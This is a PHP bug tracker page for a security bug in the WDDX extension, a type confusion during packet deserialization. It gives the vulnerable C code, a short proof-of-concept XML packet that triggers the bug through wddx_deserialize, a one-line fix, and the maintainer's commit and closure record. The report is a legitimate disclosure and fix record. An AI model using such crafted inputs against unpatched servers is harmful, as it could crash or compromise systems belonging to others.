php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login

go to bug id or search bugs for

Sec Bug #71335 Type Confusion in WDDX Packet Deserialization
Submitted: 2016-01-11 12:45 UTC Modified: 2016-02-02 03:17 UTC
From: taoguangchen at icloud dot com Assigned: stas (profile)
Status: Closed Package: WDDX related
PHP Version: 5.5.31 OS: *
Private report: No CVE-ID: None
View Add Comment Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
You can add a comment by following this link or if you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: taoguangchen at icloud dot com
New email:
PHP Version: OS:

 

 [2016-01-11 12:45 UTC] taoguangchen at icloud dot com 
Description:
------------
```
						zend_hash_merge(Z_OBJPROP_P(obj),
										Z_ARRVAL_P(ent2->data),
										(void (*)(void *)) zval_add_ref,
										(void *) &tmp, sizeof(zval *), 0);
```

PoC:

```
$x = "<?xml version='1.0'?>
<wddxPacket version='1.0'>
<header/>
	<data>
		<struct>
			<var name='php_class_name'>
				<string>stdClass</string>
			</var>
			<var name='php_class_name'>
				<string>stdClass</string>
			</var>
		</struct>
	</data>
</wddxPacket>";

wddx_deserialize($x);
```

Fix:

```
			if (Z_TYPE_P(ent2->data) == IS_ARRAY || Z_TYPE_P(ent2->data) == IS_OBJECT) {
				target_hash = HASH_OF(ent2->data);

				if (ent1->varname) {
					if (!strcmp(ent1->varname, PHP_CLASS_NAME_VAR) &&
-						Z_TYPE_P(ent1->data) == IS_STRING && Z_STRLEN_P(ent1->data) && ent2->type == ST_STRUCT) {
+						Z_TYPE_P(ent1->data) == IS_STRING && Z_STRLEN_P(ent1->data) && ent2->type == ST_STRUCT && Z_TYPE_P(ent2->data) == IS_ARRAY) {
```

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-01-14 00:45 UTC] stas@php.net
-PHP Version: Irrelevant +PHP Version: 5.5.31
 [2016-01-14 00:45 UTC] stas@php.net 
Fix is in https://gist.github.com/smalyshev/c21bf4d8a3ec2c59192c and security repo 285cd3417fb61597345b829f5f573707bbdcd484
 [2016-01-14 00:46 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-02-02 03:19 UTC] stas@php.net 
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=285cd3417fb61597345b829f5f573707bbdcd484
Log: Fix bug #71335: Type Confusion in WDDX Packet Deserialization
 [2016-02-02 03:19 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-02-02 03:36 UTC] stas@php.net 
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=285cd3417fb61597345b829f5f573707bbdcd484
Log: Fix bug #71335: Type Confusion in WDDX Packet Deserialization
 [2016-02-02 04:46 UTC] stas@php.net 
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=285cd3417fb61597345b829f5f573707bbdcd484
Log: Fix bug #71335: Type Confusion in WDDX Packet Deserialization
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved. 		Last updated: Tue Apr 16 09:01:28 2024 UTC